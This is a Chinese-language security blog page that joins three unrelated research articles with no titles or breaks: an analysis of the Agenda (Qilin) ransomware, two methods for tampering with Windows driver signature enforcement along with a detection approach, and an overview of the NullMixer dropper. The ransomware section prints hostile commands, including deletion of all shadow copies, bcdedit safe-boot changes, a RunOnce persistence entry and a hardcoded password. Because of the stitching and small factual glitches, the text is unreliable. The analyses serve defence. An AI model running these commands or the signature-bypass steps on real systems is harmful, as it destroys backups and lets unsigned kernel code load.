Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863100431

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

最近出現了一種用Go 語言編寫的新型勒索軟件,主要亞洲和非洲的醫療保健和教育企業。該勒索軟件稱為Agenda,對每個受害者進行自定義攻擊。當前用Go 語言(又名Golang)編寫的惡意軟件變得越來越普遍,這主要是因為Go 靜態編譯必要的庫,使安全分析變得更加困難。

根據名為“Qilin”的用戶(似乎與勒索軟件分銷商有關聯)的暗網帖子和勒索記錄,勒索軟件被稱為“Agenda”。

Agenda 可以在安全模式下重新啟動系統,並嘗試阻止許多特定於服務器的進程和服務,並且可以運行多種模式。我們收集的勒索軟件示例是為每個受害者定制的,它們包括唯一的公司ID 和洩露的帳戶詳細信息。

受害對象分析所有收集的示例都是用Go 編寫的64 位Windows PE(便攜式可執行文件)文件,它們針對的是基於Windows 的系統。傳播惡意軟件的組織針對的是印度尼西亞、沙特阿拉伯、南非和泰國的醫療保健和教育機構。每個勒索軟件示例都是為目標受害者定制的。我們的調查表明,示例洩露了帳戶、客戶密碼和用作加密文件擴展名的唯一公司ID。

我們認為,Qilin(或Agenda 勒索軟件組織)的附屬機構可以為每個受害者定制可配置的二進制有效載荷,包括公司ID、RSA密鑰等細節,以及數據加密前要阻止的進程和服務。另外,每家公司要求的贖金金額從5萬美元到80萬美元不等。

Agenda%201.jpg

Qilin勒索贖金示例

Agenda%202.jpg

Qilin勒索通知示例

與其他勒索軟件的相似之處我們注意到Agenda 與Black Basta、Black Matter 和REvil(又名Sodinokibi)勒索軟件之間存在一些相似之處。

在付費網站和Tor網站上用戶驗證的實施方面,Agenda與Black Basta和Black Matter非常相似。與此同時,Agenda與Black Basta和REvil共享了相同的函數,可以使用此命令更改Windows密碼並在安全模式下重啟:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

攻擊鏈在調查一起涉及該勒索軟件的示例時,我們發現其背後的攻擊者使用面向公眾的Citrix服務器作為入口點。我們認為攻擊者使用有效帳戶訪問此服務器,然後進入受害者的網絡。這是意料之中的,因為攻擊者使用有效和特權帳戶配置了勒索軟件。

攻擊者使用洩露的帳戶在Active Directory 上使用RDP,然後釋放用於掃描網絡的掃描工具Nmap.exe 和Nping.exe。接下來,計劃任務被組策略域設備推送。

Agenda%203.jpg

組策略推送的定時任務

微信截图_20220826123421.png

在計算機上創建的計劃任務

我們觀察到訪問Citrix 服務器和勒索軟件感染之間只有很短的時間:不到兩天。攻擊者似乎在第一天就掃描了網絡,然後創建了一個組策略對象(GPO),並將勒索軟件部署在受害者的設備上。

Agenda%20Ransomware%205.png

Agenda 勒索軟件的攻擊鏈

Agenda 勒索軟件是一個用Go 編寫的64 位Windows PE 文件。 Go 程序是跨平台且完全獨立的,這意味著即使系統上沒有安裝Go 解釋器,它們也能正常執行。這是可能的,因為Go 靜態編譯必要的庫(包)。

在執行時,該勒索軟件接受定義惡意軟件流程和功能的各種命令行參數,如下表所示。

-alter {int}:定義此子進程的端口號;

-encryption {value}:允許將嵌入加密器配置重新定義為自定義選項;

-ips {IP Address} :允許提供IP 地址;

-min-size {value}:定義要加密的最小文件大小(例如,1 KB、1 MB、1 GB、666 KB);

-no-proc:定義不會被阻止的進程;

-no-services:定義不會被阻止的服務;

-password {string}:定義登錄密碼;

-path {directory}:定義解析目錄的路徑,如果使用此標誌並將其置空,則將掃描所有目錄;

-safe:在安全模式下啟動;

-stat:使惡意軟件打印其配置(要阻止的進程和服務、加密等);

Agenda構建一個運行時配置來定義它的行為,包括它的公共RSA密鑰、加密條件、要終止的進程和服務列表、加密擴展、登錄憑證和贖金通知。 Agenda 的運行時配置組件表如下:

public_rsa_pem RSA:公鑰;

directory_black_list:不允許加密的目錄;

file_black_list:不允許加密的文件名;

file_pattern_black_list:不允許加密的文件擴展名;

process_black_list:要終止的進程;

win_services_black_list:終止服務;

company_id:加密擴展;

accounts:登錄憑據;

note:贖金通知。

作為其初始例程的一部分,Agenda 通過檢查此註冊表值數據中的字符串safeboot 來確定被攻擊的設備是否在安全模式下運行:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control SystemStartOptions

如果它檢測到設備正在安全模式下運行,則終止執行。

然後,勒索軟件通過執行vssadmin.exe delete shadows /all /quiet 刪除卷影副本,並終止運行時配置中指出的特定進程和服務,其中一些是與防病毒相關的進程和服務。

8.1.png

Agenda 終止的一些與防病毒相關的進程和服務

在其初始例程之後,Agenda 繼續創建runonce 自動啟動條目*aster 指向enc.exe,它是Public 文件夾下自身的一個已刪除副本:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce*aster=%Public%\enc.exe

更改用戶密碼並以安全模式重新啟動Agenda 還在加密過程中部署了一種檢測規避技術:它會更改默認用戶的密碼並使用新的登錄憑據啟用自動登錄。可以使用-safe 命令行參數啟用此功能。與REvil 類似,Agenda 以安全模式重新啟動受害者的設備,然後在重新啟動時繼續執行加密程序。

首先,Agenda 會列出在設備上找到的所有本地用戶,然後檢查哪一個被設置為默認用戶。

Agenda%20blog%206%20v1.jpg

Agenda 用於從本地用戶中確定默認用戶的函數

找到默認用戶後,Agenda 將用戶的密碼更改為Y25VsIgRDr。

Agenda%20blog%207%20v2.jpg

Agenda 用於更改默認用戶密碼的函數

然後它繼續配置Winlogon 註冊表項,將數據設置為以下每個值:

8.png

Agenda 配置的Winlogon 註冊表項

更改默認用戶密碼並啟用自動登錄後,Agenda 通過以下命令以安全模式重新啟動受害者的設備:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

加密後,勒索軟件還會使用以下命令以正常模式重啟計算機:

C:\Windows\System32\bcdedit.exe/setsafebootnetworkbcdedit/deletevalue{default}safeboot

冒充合法賬戶Agenda 的另一個函數是它能夠濫用本地帳戶憑據來執行勒索軟件二進製文件,在其運行時配置中使用嵌入式登錄憑據。

9.png

Agenda的嵌入式本地帳戶憑據

Agenda通過在運行時配置中解析帳戶開始用戶模擬,然後將它們劃分為用戶名、域和密碼。它將使用這些數據嘗試通過API LogonUserW將用戶登錄到本地計算機上。

Agenda%20blog%2010.jpg

Agenda 用於解析運行時配置中的accounts 字段的函數

Agenda%2011.jpg

使用已解析帳戶執行登錄的Agenda

然後,Agenda 繼續生成一個隨機端口號,它將通過API CreateProcessAsUserW 與命令行參數-alter 一起用於執行勒索軟件二進製文件。

12.png

使用-alter 參數創建新進程的Agenda

允許網絡共享Agenda還與整個網絡及其共享驅動程序的攻擊有關。它不僅僅是關於在一個工作站上加密數據。

勒索軟件會添加一個註冊表,然後重新啟動LanmanWorkstation 服務。添加新註冊表後,它使用啟用映射驅動器驅動程序中的鍵[EnableLinkedConnections=1],然後重新啟動LanmanWorkstation 服務。這將允許Agenda 在cmd 等提升程序中列出網絡驅動器。

Agenda%20blog%2013.jpg

Agenda將EnableLinkedConnection的註冊表值更改為1

Agenda%20blog%2014.jpg

Agenda重啟LanmanWorkstation 服務

加密算法

Agenda使用AES-256加密文件,使用RSA-2048加密生成的密鑰。為此,它首先使用函數generateKye生成用於加密的密鑰和初始化向量(IV),然後使用API rand_read()。

15.png

Agenda用於生成隨機密鑰的函數

使用這個隨機生成的密鑰,Agenda 繼續使用AES-256 來加密目標文件。最後,它通過運行時配置中的嵌入式公鑰使用RSA-2048 對密鑰進行加密。

成功加密後,Agenda通過附加運行時配置中指定的公司ID來重命名加密的文件。然後它會在每個加密的目錄中釋放贖金通知{company_id}-RECOVER-README.txt。

Agenda%2016.jpg

Agenda 的贖金通知

進程注入Agenda 將pwndll.dll(檢測為Trojan.Win64.AGENDA.SVT)釋放在Public 文件夾中。文件pwndll.dll 是用C 語言而不是Go編寫的合法DLL WICloader.dll 的打了補丁DLL。 Agenda 將此DLL 注入svchost.exe 中,以允許連續執行勒索軟件二進製文件。

Agenda%20blog%2017.jpg

將pwndll.dll 注入svchost.exe 的Agenda

Agenda%20blog%2018.jpg

使用pwndll.dll 執行勒索軟件示例的Agenda

總結勒索軟件不斷發展,開發出更複雜的方法和技術來發起攻擊。如上所述,新的有針對性的勒索軟件Agenda是如何用Go 語言編寫的,這使得檢測和分析變得更加困難。

這種勒索軟件通過利用設備的“安全模式”功能來進行加密程序而不被發現。勒索軟件還利用本地帳戶作為被欺騙的用戶登錄,並執行勒索軟件二進製文件,如果登錄嘗試成功,則進一步加密其他設備。它還終止大量進程和服務,並通過將DLL 注入svchost.exe 來確保持久性。

用戶和組織都可以通過遵循以下安全最佳實踐來降低被Agenda 等勒索軟件感染的風險:

1.啟用多因素身份驗證(MFA) ,以防止攻擊者在網絡內執行橫向移動。

2.備份重要文件時,請遵守3-2-1 規則。以兩種不同的文件格式創建三個備份副本,其中一個副本存儲在單獨的位置。

3.定期修補和更新系統。讓操作系統和應用程序保持最新非常重要,以防止惡意行為者利用任何軟件漏洞。

4.使用專業安全解決方案,它具有多層保護和行為檢測功能,有助於在勒索軟件造成任何攻擊之前阻止可疑行為和工具。

Windows DSE(Driver Signature Enforcement)即任何驅動程序或第三方程式都要經過微軟簽名才能確保為正版、安全的程序。代碼完整性是15 年前由Microsoft 首次推出的威脅防護功能。在基於x64 的Windows 版本上,內核模式驅動程序必須在每次加載到內存時進行數字簽名和檢查,這也被稱為驅動強制簽名(DSE),檢測是否將未簽名的驅動程序或系統文件加載到內核中,或系統文件是否被修改(可能由具有管理權限的惡意軟件運行),可以提高操作系統的安全性。

為了克服這些限制,攻擊者使用有效的數字證書(無論是頒發給他們的還是他們竊取的)或者他們在運行時禁用DSE。獲得證書的難度很大,但篡改證書則純粹是一個技術上的挑戰。

儘管微軟近年來一直在致力於解決驅動強制簽名方面存在的問題,並提供了一系列解決方案,但利用眾所周知,篡改DSE的方法越來越多,用此方法攻擊的案例也明顯增加,這促使我們要深入地研究這個問題。

我們會在本文分享我們的研究結果,以及兩種DSE篡改方法的細節。

DSE實現過程j00ru是谷歌項目Zero的一名安全研究員,他層發表了一篇關於Windows 7中代碼完整性實現的介紹。

ntoskrnl.exe與附加的內核庫CI.dll(代碼完整性)一起工作。在操作系統初始化階段,內核設置nt!g_CiEnabled 並使用指向nt!g_CiCallbacks 結構的指針調用CI!CiInitialize 例程來初始化CI.dll。它依次設置CI!g_CiOptions 並在返回內核之前填充CI!CiValidateImageHeader、CI!CiValidateImageData 和CI!CiQueryInformation 回調的地址。

要使用回調函數,包裝器函數存在於ntoskrnl.exe中。他們檢查那個nt!g_CiEnabled設置為TRUE,適當的回調不是NULL,然後調用它。

當內核加載驅動程序時,執行通過nt!MmLoadSystemImage 到nt!MmCreateSection 並最終到nt!MiValidateImageHeader 例程。這樣,依次調用nt!SeValidateImageHeader 和nt!SeValidateImageData 包裝器。每個回調都應在成功時返回零,否則返回非零值。

fig1.webp.jpg

驅動程序加載時的調用堆棧

“Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats”一書詳細說明了Windows 8 中的實現更改過程:刪除nt!g_CiEnabled 變量,因此DSE 狀態僅由CI!g_CiOptions 確定,更多回調函數被添加到CI.dll提供的接口中。書中沒有描述的另一個變化是,如果驗證標頭成功,那麼驗證數據回調將不會被調用。

在Windows 8.1上,回調結構的符號名稱被更改為nt!SeCiCallbacks。

內核模式簽名策略除了簽名的加密有效性之外,微軟強制簽名證書只能由支持CA 的交叉證書頒發。這可以防止攻擊者簡單地在每台計算機上安裝自己的CA證書。

從Windows 10Redstone開始(2016年8月發布),驅動程序簽名策略有所改變,需要微軟自己進行第二次簽名。這是通過一個web門戶網站完成的,在那裡開發人員上傳他們的簽名二進製文件,並將它們發送給微軟。從攻擊者的角度來看,這意味著將你的有效載荷傳播給防御者,這與他們通常想要的相反。至少有一個記錄在案的案例表明,這種新措施沒有阻止攻擊者。

內核補丁保護KPP 或PatchGuard 於2005 年首次推出,是x64 版Windows 的一項功能,可防止修補內核。 “修補內核”是指修改ntoskrnl.exe 和其他關鍵系統驅動程序和數據結構(SSDT、IDT、GDT 等)的代碼。

它通過定期檢查這些受保護區域是否被修改而工作。如果檢測到系統被修改,則會觸發藍屏,使系統停止。 PatchGuard在每一個新的Windows版本中都會更新,這使得攻擊者很難開發出適用於所有版本的通用繞過技術。

ntoskrnl.exe中的回調結構和CI!g_CiOptions變量分別從Windows 8和Windows 8.1開始受PatchGuard保護。

DSE在野外被篡改儘管j00ru 得出結論,重寫nt!g_CiEnabled 或CI!g_CiOptions 等私有符號可能相對困難,但這正是攻擊者選擇的方向。眾所周知,臭名昭著的Turla APT 開發了這種技術,安全研究人員對其進行了逆向工程並發布了他們的代碼。

這些私有符號通過簡單的模式匹配來定位,幾乎不需要任何更改:

fig2.webp.jpg

常規PTE 順著SLAT PTE 突出顯示差異

在x86架構上,SLAT pte (Page Table Entries)處理權限不同於常規的PTE:讀\寫權限是分開的,執行權限需要顯式設置,並且只能為ring 0(內核模式)授權。 hypervisor使用SLAT 頁表來強制VTL 之間的隔離並使VTL1 可以訪問它們,所以安全內核使用它們來實現VBS特性,而hypervisor本身並不為這些功能本身實現任何代碼/邏輯。

受HyperVisor 保護的代碼完整性HVCI,最初稱為Device Guard,是隨著VBS 的引入而發布的,這是完整性執行的另一層。

加載新驅動程序後,安全內核也會被觸發並使用其自己的代碼完整性庫SKCI.dll(安全內核代碼完整性)實例。在Secure World (VTL1) 中的當前策略中驗證並檢查數字簽名以得到授權。只有這樣才能將可執行和不可寫權限應用於相應GPA 的SLAT 頁表。因此,NT 內核(VTL0) 不能修改任何以前加載的代碼或運行任何新代碼,而無需在進程中使用安全內核。

fig3.webp.jpg

Windows 10 SKCI.dll 中SkciInialize 及其自身CiOptions 變量的反彙編

內核數據保護KDP 旨在保護在Windows 內核(即操作系統代碼本身)中運行的驅動程序和軟件免受數據驅動的攻擊。它最初是在Windows 10 20H1 中引入的。

使用KDP,在內核模式下運行的軟件可以靜態(其自身映像的一部分)或動態(只能初始化一次的池內存)保護只讀內存。 KDP 僅在VTL1 中為支持受保護內存區域的GPA 建立寫保護,使用SLAT 頁表供管理程序強制執行。這樣,在NT 內核(VTL0) 中運行的任何軟件都不能擁有更改內存所需的權限。

KDP並不強制如何轉換受保護區域的GVA範圍映射,根據開發人員的介紹,KDP目前只定期驗證受保護的內存區域是否轉換為適當的GPA。

從Windows 11 開始,CI.dll 選擇使用靜態KDP (MmProtectDriverSection API) 來強化自身,將所有相關的CI 策略變量放置在名為“CiPolicy”的單獨部分中。

fig4.webp.jpg

Windows 11 中CI.dll 中CiInitializePolicy 和CiPolicy 部分的反彙編

驅動程序阻止列表這是通過Windows Defender 應用程序控制(WDAC) 或HVCI 策略強制執行的,目前已有一些第三方安全產品供應商也採用了這種做法。可以在此處找到最新的阻止列表。

阻止列表拒絕攻擊者輕鬆訪問內核寫入原語。雖然它非常有效,但它不是一種主動措施,只能處理以前發現的驅動程序。因此,這種緩解措施對驅動程序中的零日漏洞無效,防御者必須不斷追踪它們,始終落後於攻擊者一步。

新的篡改發現技術從上面的描述中,敏銳的讀者可以看到,如果沒有啟用HVCI,則可能在不進行任何代碼修補的情況下篡改DSE。

方法一:“頁面交換”

僅僅因為不再可能寫入CI!CiOptions 並不意味著它的值不能改變。該變量仍被虛擬地址訪問,並且每次都會發生到物理地址的轉換過程。因此,我們將改為更改翻譯結果。

通過將物理頁面從受KDP 保護的頁面交換到我們擁有的頁面,我們重新獲得了對內存的完全控制權。交換GPA 僅意味著更改PTE(頁表條目)中的PFN(頁幀號),它本質上只是另一個指針。

我們可以為任何給定的虛擬地址計算PTE 的虛擬地址,避免每次遍歷所有頁表。頁表位於Windows 內核用來管理分頁結構的虛擬內存區域中,稱為“PTE 空間”。 PTE Base 由KASLR(內核地址空間佈局隨機化)隨機化,從Windows 10 Redstone 開始。在之前的研究中,我們展示了一種可靠的方法來找到它。

除了寫入之外,執行此方法還需要內核讀取和內存分配原語。以下是C 偽代碼的分步實現過程:

fig5.webp.jpg

頁面交換的C偽代碼

可以使用來自用戶空間的頁面,因此內核內存分配原語變得多餘。對於CI.dll,可以使用變量的默認值而不是複制頁面。結果,內核空間的讀取次數顯著減少,因為只剩下少數必要的PTE 讀取。

方法二:“回調交換”有一段時間,KDP 似乎提高了防止DSE 篡改的門檻,因為頁面交換也需要內核讀取原語。我們再次查看了CI.dll 和ntoskrnl.exe 是如何集成的,然後我們想,“為什麼要使用CI.dll 呢?讓我們使用自己的回調而不是CI!CiValidateImageHeader”。

fig6.webp.jpg

回調交換演示

上圖證明無需讀取任何內核空間數據即可找到所有必要的地址,具體過程如下:

首先,在ntoskrnl.exe 中找到回調結構。該結構作為參數傳遞給CI!CiInitialize,這樣我們就可以從調用中獲得它的地址。內核只調用該函數一次,因此我們查找使用其導入表條目的CALL或JMP指令。找到調用站點後,返回到“.data”部分中指向未初始化內存的參數的寄存器分配。

fig7.webp.jpg

在Windows 11的ntoskrnl.exe中反彙編SepInitializeCodeIntegrity和SeCiCallbacks

接下來,尋找要使用的替換回調函數。我們需要一個不帶參數並返回零的函數。幸運的是,ntoskrnl.exe 有一些符合此要求的導出函數,例如FsRtlSyncVolumes 或ZwFlushInstructionCache,因此只需調用GetProcAddress 即可。

最後,找到要恢復的原始回調函數。回調由CI!CipInitialize 在結構中設置,因此它將引用所有回調。所有回調都設置在所有Windows 構建的單個基本代碼塊中。搜索這種指令模式,如下圖所示,並從lea 指令中提取偏移量。要驗證偏移量是否確實導致函數,遍歷PE 的異常目錄以查找具有相同起始地址的RUNTIME_FUNCTION 條目。

fig8.webp.jpg

Windows 11中CI.dll中CipInitialize的反彙編

KDP 保護被“設計”繞過,因為ntoskrnl.exe 沒有選擇使用回調結構。更改回調的另一個優點是篡改通過記錄的查詢系統信息API 不可見。

雖然解析地址可能需要多行代碼,但它是在用戶空間中完成的,因此只需要內核寫入原語,這與當前眾所周知的DSE 篡改方法相同。儘管PoC 向內核空間寫入了8 個字節(64 位指針的大小),但可以通過在CI.dll 中查找回調目標來減少這個數字。在撰寫本文時,來自TrustedSec的Adam Chester也發布了一篇最新的研究文章,他選擇了一種替代方法,通過掃描他創建的二進制簽名來找到原始回調。

緩解措施HVCI 涵蓋了所有篡改方法,因為它在加載驅動程序時執行自己的驗證。儘管HVCI 已經存在多年,但直到最近才在新的Windows 安裝中默認啟用。因此,我們一定要想出一個替代方案。

我們試圖找到一種方法來在驅動程序加載期間確認DSE 的狀態。此外,一個將支持程序的阻塞。在這一點上,如何獲得DSE 狀態的可見性應該是顯而易見的,防御者可以利用攻擊者用來查找內部變量的相同策略。畢竟,它已被證明是穩定的。

考慮到一個被篡改的狀態只能持續很短的時間,假設我們開始運行時系統狀態是有效的是合理的。此時,將保留內部變量的副本。

有3個選項可以攔截驅動程序加載:

1.在NtLoadDriver API 的用戶空間中放置一個鉤子。

2.使用註冊表回調來監視驅動程序註冊表項路徑上的操作。

3.使用文件系統微過濾器回調來創建驅動程序文件的部分(IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION)。

要知道回調是否作為驅動程序加載的一部分被觸發,它需要檢查當前進程是SYSTEM 並且調用堆棧源自ntoskrnl.exe 而不是任何其他驅動程序。

一旦驅動程序加載被攔截,通過檢查任何變量的變化來檢測DSE 篡改。此時,可以簡單地通過使用錯誤狀態代碼阻止I\O 請求或將變量恢復到其保存狀態來進行預防。

總結我們在本文中介紹了微軟如何嘗試在運行時保護DSE,並介紹了兩種新方法來篡改它並成功加載未簽名的驅動程序。

雖然HVCI 提供了最強大的解決方案,但我們共享了一種額外的方法來檢測和防止DSE 在運行時篡改。在內核模式下執行代碼對攻擊者仍然具有吸引力,因為它通常是破壞計算機上更高特權元素(例如管理程序、UEFI 和SMM)或擊敗終端安全產品的必備手段。我們可能會看到TTP 的轉變,由於驅動程序阻止列表,攻擊者會轉向使用更多的內核1日漏洞來利用未修補的漏洞。

隨著硬件輔助的安全功能變得越來越普遍,以及微軟致力於利用它們的努力,攻擊者利用DSE 篡改可能會在可預見的未來逐漸消失。儘管如此,配置錯誤和老舊系統仍將存在這種攻擊。

sl-abstract-malicious-binary-code-1200-1200x600.jpg

NullMixer 是導致各種惡意軟件家族感染鏈的投放程序,它通過惡意網站傳播,這些網站主要可以通過搜索引擎找到。這些網站通常與非法下載軟件的破解、註冊機和激活程序有關,雖然它們可能偽裝成合法軟件,但實際上包含一個惡意軟件投放程序。

看起來這些網站正在使用SEO 來提高其搜索排名,從而在互聯網上搜索“crack”和“keygen”時很容易找到它們。當用戶嘗試從其中一個網站下載軟件時,他們會被多次重定向,並最終進入一個包含下載說明和偽裝成所需軟件的受密碼保護的壓縮文件惡意軟件的頁面。當用戶提取並執行NullMixer 時,它會將許多惡意軟件文件投放到受感染的計算機上。這些惡意軟件家族可能包括後門、銀行木馬、憑證竊取程序等。例如,NullMixer 投放了以下惡意軟件:SmokeLoader/Smoke、LgoogLoader、Disbuk、RedLine、Fabookie、ColdStealer。

初始感染NullMixer 的感染媒介基於一個“用戶執行”惡意鏈接,該鏈接要求最終用戶點擊並下載受密碼保護的ZIP/RAR 壓縮文件,其中包含手動提取和執行的惡意文件。

NullMixer的整個感染鏈如下:

用戶訪問網站以下載破解軟件、註冊機或激活程序。該活動似乎針對任何希望下載破解軟件的人,並使用SEO 技術使這些惡意網站在搜索引擎結果中更加突出。

1.png

谷歌搜索引擎搜索結果中“破解軟件”的頂部包含提供NullMixer的惡意網站

用戶點擊所需軟件的下載鏈接;

該鏈接將用戶重定向到另一個惡意網站;

惡意網站將用戶重定向到第三方IP 地址網頁;

該網頁指示用戶從文件共享網站下載受密碼保護的ZIP 文件。

2.png

惡意軟件執行指令

用戶提取帶有密碼的壓縮文件;

用戶運行安裝程序並執行惡意軟件。

3.jpg

NullMixer 感染鏈執行示例

NullMixer 介紹NullMixer是一個投放程序,它包含的不僅僅是特定的惡意軟件家族,也會投放各種惡意二進製文件來感染計算機,比如後門程序、銀行程序、下載程序、間諜軟件和許多其他程序。

NullMixer 執行鏈當用戶從下載的受密碼保護的壓縮文件中提取“win-setup-i864.exe”文件並運行它時,感染就開始了。 “win-setup-i864.exe”文件是一個NSIS(Nullsoft Scriptable Install System)安裝程序,是很多軟件開發者使用的非常流行的安裝工具。在本文的示例中,它投放並啟動了另一個文件“setup_installer.exe”,這實際上是一個包含在Windows 可執行文件中的SFX 壓縮文件“7z Setup SFX”。 “setup_installer.exe”文件投放了數十個惡意文件。但它沒有啟動它們,而是啟動了一個可執行文件setup_install.exe,這是一個NullMixer啟動程序組件。 NullMixer 的啟動程序啟動所有投放的可執行文件。為此,它包含一個硬編碼文件名列表,並使用“cmd.exe”逐個啟動它們。

4.png

硬編碼到NullMixer啟動程序組件的文件列表

5.jpg

NullMixer 執行鏈

它還嘗試使用以下命令行更改Windows Defender 設置。

6.png

在啟動所有已投放的文件後,NullMixer 啟動程序會立即向CC 發送關於安裝成功的信標。此時,所有被投放和啟動的惡意文件都留在了它們自己的設備中。很快就可以識別由NullMixer惡意軟件傳播的各種惡意二進製文件。

7.jpg

NullMixer 和它投放的惡意軟件家族

由於投放的惡意軟件家族數量非常大,本文只對每個家族進行簡要描述。

SmokeLoaderSmokeLoader(又名Smoke)是一種模塊化惡意軟件,自2011 年以來就廣為人知,通過網絡釣魚電子郵件和偷渡式下載(drive-bydownload)分發。多年來,它通過附加模塊不斷擴展其功能。例如,添加禁用Windows Defender 和反分析技術。

與使用硬編碼靜態URL 下載惡意文件的最簡單下載程序相比,SmokeLoader 用CC 通信以接收和執行下載任務。

RedLine StealerRedLine Stealer 自2020 年初就為人所知,並一直持續到2021 年。眾所周知,該惡意軟件在網絡論壇上出售,並通過釣魚郵件傳播。

另一種傳播RedLine Stealer的新方法是誘使Windows 10用戶獲得虛假的Windows 11升級。當用戶下載並執行二進製文件時,他們實際上是在運行惡意軟件。

RedLine的主要目的是從瀏覽器中竊取證書和信息,此外還從受感染的計算機上竊取信用卡詳細信息和加密貨幣錢包。此外,該惡意軟件還收集有關係統的信息,例如:用戶名、硬件詳細信息和已安裝的安全應用程序。

PseudoManuscryptPseudoManuscrypt 自2021 年6 月以來就廣為人知,並用作MaaS(惡意軟件即服務)。 PseudoManuscrypt並不針對特定的公司或行業,但據觀察,工業和政府組織,包括軍工複合體和研究實驗室的企業,是最嚴重的受害者。

該惡意軟件通過Glupteba等其他殭屍網絡傳播。 PseudoManuscrypt的的主要目的是通過從Firefox、谷歌Chrome、Microsoft Edge、Opera和Yandex瀏覽器中竊取cookie,通過使用ClipBanker插件進行鍵盤記錄和竊取加密貨幣來監視受害者。惡意軟件的一個顯著特徵是使用KCP協議下載額外的插件。

ColdStealerColdStealer 是一個相對較新的惡意程序,於2022 年被發現。與許多其他竊取程序一樣,它的主要目的是從Web 瀏覽器竊取憑據和信息,此外還竊取加密貨幣錢包、FTP 憑據、各種文件和有關係統的信息,例如操作系統版本、系統語言、處理程序類型和剪貼板數據。將被盜信息傳遞給攻擊者的唯一已知方法是將ZIP 壓縮文件發送到嵌入式控制中心。

8.png

ColdStealer Main() 函數

FormatLoaderFormatLoader 是一個下載程序,因為使用硬編碼的url作為格式字符串而得名,它需要填寫一個數字來獲取下載附加二進製文件的鏈接。可用的數字範圍也是硬編碼的。

9.png

FormatLoader 的主要目的是通過將二進製文件下載到受感染的計算機上來用額外的惡意文件感染計算機。為此,惡意軟件將硬編碼範圍中的數字逐個添加到硬編碼格式字符串中,並訪問下載鏈接。

此外,FormatLoader 使用第三方網站服務來跟踪受感染的計算機。它將“GET”請求發送到IP 記錄程序服務的特定URL,該服務收集IP 地址和基於IP 的地理位置等信息。

CsdiMonetize眾所周知,CsdiMonetize 是一個廣告平台,用於在感染用戶計算機後以按安裝付費的方式安裝許多不同的PUA(潛在不需要的應用程序)。後來,CsdiMoneitze 不僅用PUA 感染他們的受害者,還開始用真正的木馬感染他們的受害者,比如Glupteba 惡意軟件。

如今,CsdiMonetize 使用其他惡意軟件家族類型感染其受害者,例如:Fabookie、Disbuk、PseudoManuscrypt 等。

10.jpg

Csdi 執行鏈

感染從NSIS 安裝程序“61f665303c295_Sun1059d492746c.exe”開始,它會下載Csdi 安裝程序“MSEkni.exe”。 Csdi 安裝程序從CC 請求當前配置以及要安裝的其他Csdi 組件列表。配置以加密和base64 編碼的形式存儲在多個註冊表項中。下一步是下載其他組件,最值得注意的是發布者和更新程序組件。 Csdi 發布者組件負責通過使用URL 作為命令行參數啟動瀏覽器來顯示廣告。更新程序組件負責按安裝付費服務。它接收來自CC 的URL 列表以及有關如何投放和執行下載文件的說明。

Disbuk眾所周知,Disbuk(又名Socelar)將自己偽裝成合法的應用程序,例如PDF 編輯程序軟件。

該惡意軟件主要針對Facebook廣告,並通過訪問瀏覽器的SQLite數據庫從Chrome和Firefox盜取Facebook會話cookie。在檢索這些信息後,惡意軟件試圖提取額外的信息,惡意軟件會嘗試提取訪問令牌、帳戶ID 等附加信息。經過進一步發展,Disbuk 也開始檢索Amazon cookie。

除了竊取數據,Disbuk 還安裝了一個偽裝成谷歌翻譯擴展的惡意瀏覽器擴展。

FabookieFabookie 是另一個針對Facebook 廣告的竊取程序。它的功能類似於Disbuk 惡意軟件,包括從瀏覽器中竊取Facebook 會話cookie,使用Facebook Graph API 查詢來接收有關用戶帳戶、關聯支付方式、餘額、朋友等額外信息。被盜的憑據稍後可用於運行來自受感染帳戶的廣告。

與Disbuk 不同的是,該惡意軟件不包含內置的惡意瀏覽器擴展,但包含兩個嵌入式NirSoft 實用程序“Chrome Cookies View”和“Web Browser Password Viewer”,用於從瀏覽器中提取數據。

DanaBotDanaBot 是一種用Delphi 編寫的銀行木馬,它通過電子郵件網絡釣魚進行傳播,自2018 年被發現以來一直在迭代。

DanaBot 是一種模塊化惡意軟件,包括各種附加模塊,這些模塊最流行的功能是從受感染的計算機中竊取信息,並將虛假表格注入流行的電子商務和社交媒體網站以收集支付數據。它還可以通過遠程桌面提供對受感染系統的完全訪問,或通過使用VNC 插件訪問鼠標和鍵盤。

RacealerRacealer(又名RaccoonStealer)是一種竊取型惡意軟件,主要從受感染的計算機中竊取用戶憑據並洩露數據。

自2019 年被發現以來,Racoon 也經過了多次迭代。例如,它現在使用Telegram 來檢索CC IP 地址和惡意軟件配置。現在,它還可以從惡意軟件的CC 下載其他模塊,這些模塊也用於提取憑據。

Generic.ClipBankerGeneric.ClipBanker 是一種剪貼板劫持者惡意軟件,它監控受感染計算機的剪貼板,並專門搜索加密貨幣地址以替換它們。當用戶複製加密貨幣錢包的地址時,惡意軟件會將錢包地址替換為他們自己的加密貨幣錢包地址,因此最終用戶會將加密貨幣(例如比特幣)發送給他們,而不是發送到預期的錢包地址。

11.png

使用來自Generic.ClipBanker 二進製文件的加密貨幣地址進行篩選

SgnitLoaderSgnitLoader 是一個用C# 編寫的小型木馬下載程序,二進制大小約為15 KB。但是,原始文件是用Obsidium 打包的,這使得二進製文件的大小增長到400 多字節。

SgnitLoader 在其二進製文件中包含一些硬編碼的域,它會附加路徑並添加一個從1 到7 的數字。與FormatLoader 惡意軟件不同,它不使用格式字符串,而只是在末尾添加一個數字字符串以獲取完整的URL。

12.png

下載和執行過程完成後,SgnitLoader 通過“GET”請求ping 回CC。原始的pingback URL隱藏在' iplogger.org ' URL縮短服務中。

ShortLoader另一個用c#編寫的小型木馬下載程序。它的二進製文件是sgitloader大小的一半。它的主要功能代碼相當短,它使用“IP Logger”URL縮短服務來隱藏它下載有效負載的原始URL。這就是為什麼它被稱為ShortLoader。

13.png

ShortLoader Main() 函數

Downloader.INNO原始文件是利用“Inno Download Plugin”下載功能的“Inno Setup”安裝程序。

